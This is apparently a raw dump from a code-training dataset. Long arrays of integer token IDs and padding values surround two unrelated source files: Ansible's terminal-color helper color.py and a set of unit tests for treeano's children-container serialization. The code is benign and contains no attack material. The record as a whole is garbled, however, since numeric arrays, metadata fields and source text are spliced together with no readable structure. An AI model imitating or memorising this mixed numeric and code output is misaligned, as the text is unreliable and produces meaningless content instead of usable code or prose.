12,
7760,
12,
6029,
710,
8218,
2752,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
298,
2164,
15,
3908,
15,
18521,
15,
5157,
15,
24364,
14,
647,
4976,
13,
1651,
1367,
26,
1479,
2114,
26,
68,
1789,
66,
23,
65,
18,
70,
2322,
69,
24,
6029,
15,
2036,
15,
1717,
4114,
26,
1703,
26,
1651,
486,
695,
79,
2,
199,
199,
305,
63,
578,
275,
636,
646,
19734,
305,
297,
7992,
1062,
9480,
1062,
3073,
199,
199,
21263,
2393,
275,
788,
305,
297,
283,
24364,
418,
199,
199,
318,
3550,
8,
1813,
304,
272,
408,
1123,
19286,
83,
436,
14538,
2860,
367,
465,
370,
376,
9711,
1041,
272,
465,
63,
578,
14,
4208,
8,
1813,
9,
339,
2589,
459,
1179,
418,
263,
275,
2589,
14,
20064,
8,
21263,
2393,
9,
503,
283,
305,
7,
199,
199,
318,
3495,
8,
1813,
304,
272,
372,
2589,
14,
20064,
8,
21263,
2393,
9,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
mapennell/ansible
|
v1/ansible/color.py
|
134
|
2388
|
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
import sys
import constants
ANSIBLE_COLOR=True
if constants.ANSIBLE_NOCOLOR:
ANSIBLE_COLOR=False
elif not hasattr(sys.stdout, 'isatty') or not sys.stdout.isatty():
ANSIBLE_COLOR=False
else:
try:
import curses
curses.setupterm()
if curses.tigetnum('colors') < 0:
ANSIBLE_COLOR=False
except ImportError:
# curses library was not found
pass
except curses.error:
# curses returns an error (e.g. could not find terminal)
ANSIBLE_COLOR=False
if constants.ANSIBLE_FORCE_COLOR:
ANSIBLE_COLOR=True
# --- begin "pretty"
#
# pretty - A miniature library that provides a Python print and stdout
# wrapper that makes colored terminal text easier to use (e.g. without
# having to mess around with ANSI escape sequences). This code is public
# domain - there is no license except that you must leave this header.
#
# Copyright (C) 2008 Brian Nez <thedude at bri1 dot com>
#
# http://nezzen.net/2008/06/23/colored-text-in-python-using-ansi-escape-sequences/
codeCodes = {
'black': '0;30', 'bright gray': '0;37',
'blue': '0;34', 'white': '1;37',
'green': '0;32', 'bright blue': '1;34',
'cyan': '0;36', 'bright green': '1;32',
'red': '0;31', 'bright cyan': '1;36',
'purple': '0;35', 'bright red': '1;31',
'yellow': '0;33', 'bright purple': '1;35',
'dark gray': '1;30', 'bright yellow': '1;33',
'normal': '0'
}
def stringc(text, color):
"""String in color."""
if ANSIBLE_COLOR:
return "\033["+codeCodes[color]+"m"+text+"\033[0m"
else:
return text
# --- end "pretty"
|
gpl-3.0
|
[
3,
334,
67,
9,
6029,
13,
7280,
12,
16922,
22453,
665,
22333,
14,
24247,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
646,
984,
199,
646,
5262,
199,
199,
8490,
63,
7134,
29,
549,
199,
692,
5262,
14,
8490,
63,
2826,
7134,
26,
272,
32271,
7187,
63,
7134,
29,
797,
199,
4164,
440,
2688,
8,
1274,
14,
2703,
12,
283,
21122,
358,
503,
440,
984,
14,
2703,
14,
21122,
837,
272,
32271,
7187,
63,
7134,
29,
797,
199,
2836,
26,
272,
862,
26,
267,
492,
15429,
267,
15429,
14,
2758,
5125,
342,
267,
340,
15429,
14,
280,
362,
1507,
360,
7120,
358,
665,
378,
26,
288,
32271,
7187,
63,
7134,
29,
797,
272,
871,
3545,
26,
267,
327,
15429,
3555,
1990,
440,
1911,
267,
986,
272,
871,
15429,
14,
705,
26,
267,
327,
15429,
2529,
376,
1125,
334,
69,
14,
71,
14,
4293,
440,
2342,
11167,
9,
267,
32271,
7187,
63,
7134,
29,
797,
199,
199,
692,
5262,
14,
8490,
63,
27240,
63,
7134,
26,
267,
32271,
7187,
63,
7134,
29,
549,
199,
199,
3,
10894,
5386,
298,
9118,
2,
199,
3,
199,
3,
7268,
446,
437,
20536,
1463,
3555,
626,
6571,
282,
2018,
870,
436,
3839,
199,
3,
4975,
626,
7704,
32076,
11167,
1318,
14905,
370,
675,
334,
69,
14,
71,
14,
1928,
199,
3,
9445,
370,
15634,
6818,
543,
25600,
4772,
8013,
680,
961,
1233,
365,
4575,
199,
3,
2881,
446,
2337,
365,
949,
4190,
871,
626,
1265,
1471,
10137,
642,
1406,
14,
199,
3,
199,
3,
1898,
334,
35,
9,
9079,
699,
18429,
5612,
90,
665,
20741,
3786,
737,
20611,
17,
6308,
2414,
30,
199,
3,
199,
3,
1455,
921,
685,
4348,
287,
14,
846,
15,
9300,
15,
1690,
15,
1789,
15,
331,
21252,
13,
505,
13,
262,
13,
1548,
13,
4941,
13,
22204,
13,
3765,
13,
13436,
15,
199,
199,
600,
14060,
275,
469,
272,
283,
8399,
356,
258,
283,
16,
27,
1216,
297,
283,
27454,
21977,
356,
259,
283,
16,
27,
1401,
297,
272,
283,
6304,
356,
420,
283,
16,
27,
1082,
297,
283,
7510,
356,
3515,
283,
17,
27,
1401,
297,
272,
283,
7731,
356,
258,
283,
16,
27,
708,
297,
283,
27454,
10030,
356,
259,
283,
17,
27,
1082,
297,
272,
283,
28291,
356,
420,
283,
16,
27,
1344,
297,
283,
27454,
12431,
356,
257,
283,
17,
27,
708,
297,
272,
283,
581,
356,
755,
283,
16,
27,
2192,
297,
283,
27454,
6325,
290,
356,
259,
283,
17,
27,
1344,
297,
272,
283,
6653,
11045,
356,
259,
283,
16,
27,
1276,
297,
283,
27454,
8992,
356,
258,
283,
17,
27,
2192,
297,
272,
283,
14514,
356,
259,
283,
16,
27,
1153,
297,
283,
27454,
5861,
11045,
356,
221,
283,
17,
27,
1276,
297,
272,
283,
13625,
21977,
356,
283,
17,
27,
1216,
297,
283,
27454,
31194,
356,
221,
283,
17,
27,
1153,
297,
272,
283,
3302,
356,
259,
283,
16,
7,
199,
93,
199,
199,
318,
1059,
67,
8,
505,
12,
3164,
304,
272,
408,
1558,
315,
3164,
1041,
339,
340,
32271,
7187,
63,
7134,
26,
267,
372,
1867,
8762,
905,
11,
600,
14060,
59,
2326,
2807,
2,
77,
7709,
505,
25789,
8762,
59,
16,
77,
2,
272,
587,
26,
267,
372,
1318,
199,
199,
3,
10894,
1284,
298,
9118,
2,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
334,
67,
9,
6029,
13,
7280,
12,
16922,
22453,
665,
22333,
14,
24247,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
646,
984,
199,
646,
5262,
199,
199,
8490,
63,
7134,
29,
549,
199,
692,
5262,
14,
8490,
63,
2826,
7134,
26,
272,
32271,
7187,
63,
7134,
29,
797,
199,
4164,
440,
2688,
8,
1274,
14,
2703,
12,
283,
21122,
358,
503,
440,
984,
14,
2703,
14,
21122,
837,
272,
32271,
7187,
63,
7134,
29,
797,
199,
2836,
26,
272,
862,
26,
267,
492,
15429,
267,
15429,
14,
2758,
5125,
342,
267,
340,
15429,
14,
280,
362,
1507,
360,
7120,
358,
665,
378,
26,
288,
32271,
7187,
63,
7134,
29,
797,
272,
871,
3545,
26,
267,
327,
15429,
3555,
1990,
440,
1911,
267,
986,
272,
871,
15429,
14,
705,
26,
267,
327,
15429,
2529,
376,
1125,
334,
69,
14,
71,
14,
4293,
440,
2342,
11167,
9,
267,
32271,
7187,
63,
7134,
29,
797,
199,
199,
692,
5262,
14,
8490,
63,
27240,
63,
7134,
26,
267,
32271,
7187,
63,
7134,
29,
549,
199,
199,
3,
10894,
5386,
298,
9118,
2,
199,
3,
199,
3,
7268,
446,
437,
20536,
1463,
3555,
626,
6571,
282,
2018,
870,
436,
3839,
199,
3,
4975,
626,
7704,
32076,
11167,
1318,
14905,
370,
675,
334,
69,
14,
71,
14,
1928,
199,
3,
9445,
370,
15634,
6818,
543,
25600,
4772,
8013,
680,
961,
1233,
365,
4575,
199,
3,
2881,
446,
2337,
365,
949,
4190,
871,
626,
1265,
1471,
10137,
642,
1406,
14,
199,
3,
199,
3,
1898,
334,
35,
9,
9079,
699,
18429,
5612,
90,
665,
20741,
3786,
737,
20611,
17,
6308,
2414,
30,
199,
3,
199,
3,
1455,
921,
685,
4348,
287,
14,
846,
15,
9300,
15,
1690,
15,
1789,
15,
331,
21252,
13,
505,
13,
262,
13,
1548,
13,
4941,
13,
22204,
13,
3765,
13,
13436,
15,
199,
199,
600,
14060,
275,
469,
272,
283,
8399,
356,
258,
283,
16,
27,
1216,
297,
283,
27454,
21977,
356,
259,
283,
16,
27,
1401,
297,
272,
283,
6304,
356,
420,
283,
16,
27,
1082,
297,
283,
7510,
356,
3515,
283,
17,
27,
1401,
297,
272,
283,
7731,
356,
258,
283,
16,
27,
708,
297,
283,
27454,
10030,
356,
259,
283,
17,
27,
1082,
297,
272,
283,
28291,
356,
420,
283,
16,
27,
1344,
297,
283,
27454,
12431,
356,
257,
283,
17,
27,
708,
297,
272,
283,
581,
356,
755,
283,
16,
27,
2192,
297,
283,
27454,
6325,
290,
356,
259,
283,
17,
27,
1344,
297,
272,
283,
6653,
11045,
356,
259,
283,
16,
27,
1276,
297,
283,
27454,
8992,
356,
258,
283,
17,
27,
2192,
297,
272,
283,
14514,
356,
259,
283,
16,
27,
1153,
297,
283,
27454,
5861,
11045,
356,
221,
283,
17,
27,
1276,
297,
272,
283,
13625,
21977,
356,
283,
17,
27,
1216,
297,
283,
27454,
31194,
356,
221,
283,
17,
27,
1153,
297,
272,
283,
3302,
356,
259,
283,
16,
7,
199,
93,
199,
199,
318,
1059,
67,
8,
505,
12,
3164,
304,
272,
408,
1558,
315,
3164,
1041,
339,
340,
32271,
7187,
63,
7134,
26,
267,
372,
1867,
8762,
905,
11,
600,
14060,
59,
2326,
2807,
2,
77,
7709,
505,
25789,
8762,
59,
16,
77,
2,
272,
587,
26,
267,
372,
1318,
199,
199,
3,
10894,
1284,
298,
9118,
2,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
jagill/treeano
|
treeano/core/tests/children_container_test.py
|
3
|
3932
|
import nose.tools as nt
from treeano import core
import treeano
import treeano.nodes as tn
def test_list_children_container():
# test to_data
cc = core.ListChildrenContainer([])
nt.assert_equal([], cc.to_data())
# test children_container_to_data
as_data = core.children_container_to_data(cc)
nt.assert_equal(dict(
children_container_key="list",
children_container_data=[],
),
as_data)
# test back and forth
cc2 = core.children_container_from_data(as_data)
nt.assert_is_instance(cc2, core.ListChildrenContainer)
nt.assert_equal(as_data,
core.children_container_to_data(cc2))
def test_dict_children_container():
# test to_data
cc = core.DictChildrenContainer({})
nt.assert_equal({}, cc.to_data())
# test children_container_to_data
as_data = core.children_container_to_data(cc)
nt.assert_equal(dict(
children_container_key="dict",
children_container_data={},
),
as_data)
# test back and forth
cc2 = core.children_container_from_data(as_data)
nt.assert_is_instance(cc2, core.DictChildrenContainer)
nt.assert_equal(as_data,
core.children_container_to_data(cc2))
def test_dict_children_container_schema():
dccs = core.DictChildrenContainerSchema(
foo=core.ListChildrenContainer,
bar=core.ChildContainer,
)
node = tn.AddConstantNode("hello")
cc1 = dccs({"foo": [node, node], "bar": node})
cc2 = core.children_container._DictChildrenContainerFromSchema(
{"foo": core.ListChildrenContainer([node, node]),
"bar": core.ChildContainer(node)})
# test that it makes the expected class
nt.assert_equal(cc1, cc2)
def test_dict_children_container_schema_children():
dccs = core.DictChildrenContainerSchema(
foo=core.ListChildrenContainer,
bar=core.ChildContainer,
)
node = tn.AddConstantNode("hello")
in_map = {"foo": [node, node], "bar": node}
cc = dccs(in_map)
# test that .children returns the same as the input
nt.assert_equal(cc.children, in_map)
def test_dict_children_container_schema_serialization():
dccs = core.DictChildrenContainerSchema(
foo=core.ListChildrenContainer,
bar=core.ChildContainer,
)
node = tn.AddConstantNode("hello")
in_map = {"foo": [node, node], "bar": node}
cc1 = dccs(in_map)
cc2 = core.children_container_from_data(
core.children_container_to_data(cc1))
nt.assert_equal(cc1.__class__, cc2.__class__)
nt.assert_equal(cc1.__dict__, cc2.__dict__)
def test_dict_children_container_schema_optional_children():
dccs = core.DictChildrenContainerSchema(
foo=core.ListChildrenContainer,
bar=core.ChildContainer,
)
node = tn.AddConstantNode("hello")
in_map = {"foo": [node, node]}
cc = dccs(in_map)
# test that .children returns the same as the input
nt.assert_equal(cc.children, in_map)
def test_dict_children_container_schema_no_children():
dccs = core.DictChildrenContainerSchema(
foo=core.ListChildrenContainer,
bar=core.ChildContainer,
)
cc = dccs(None)
# test that .children returns the same as the input
nt.assert_equal(cc.children, {})
def test_nodes_and_edges_children_container():
# test to_data
cc = core.NodesAndEdgesContainer([[], []])
nt.assert_equal({"nodes": [], "edges": []}, cc.to_data())
# test children_container_to_data
as_data = core.children_container_to_data(cc)
nt.assert_equal(dict(
children_container_key="nodes_and_edges",
children_container_data={"nodes": [], "edges": []}),
as_data)
# test back and forth
cc2 = core.children_container_from_data(as_data)
nt.assert_is_instance(cc2, core.NodesAndEdgesContainer)
nt.assert_equal(as_data,
core.children_container_to_data(cc2))
|
apache-2.0
|
[
646,
11354,
14,
2537,
465,
13377,
199,
504,
3123,
8143,
492,
6170,
199,
646,
3123,
8143,
199,
646,
3123,
8143,
14,
2415,
465,
22762,
421,
199,
318,
511,
63,
513,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
1296,
7139,
4076,
4157,
272,
13377,
14,
479,
63,
1452,
8798,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452,
8,
807,
8,
267,
4978,
63,
3600,
63,
498,
628,
513,
401,
267,
4978,
63,
3600,
63,
576,
6034,
272,
2318,
267,
465,
63,
576,
9,
339,
327,
511,
1771,
436,
367,
273,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
305,
63,
576,
9,
272,
13377,
14,
479,
63,
374,
63,
842,
8,
2055,
18,
12,
6170,
14,
1296,
7139,
4076,
9,
272,
13377,
14,
479,
63,
1452,
8,
305,
63,
576,
